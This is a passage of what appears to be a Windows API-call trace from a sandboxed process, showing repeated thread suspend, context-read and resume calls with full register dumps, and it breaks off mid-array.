	[0276.267] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0276.268] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.268] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.341] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.341] CloseHandle (hObject=0x1ac) returned 1
	[0276.341] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.341] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.341] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.342] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.342] CloseHandle (hObject=0x1ac) returned 1
	[0276.342] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.343] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.343] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.343] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.343] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.456] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.456] CloseHandle (hObject=0x1ac) returned 1
	[0276.456] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.456] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.456] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.459] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.459] CloseHandle (hObject=0x1ac) returned 1
	[0276.459] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.495] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.495] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.495] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.495] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, 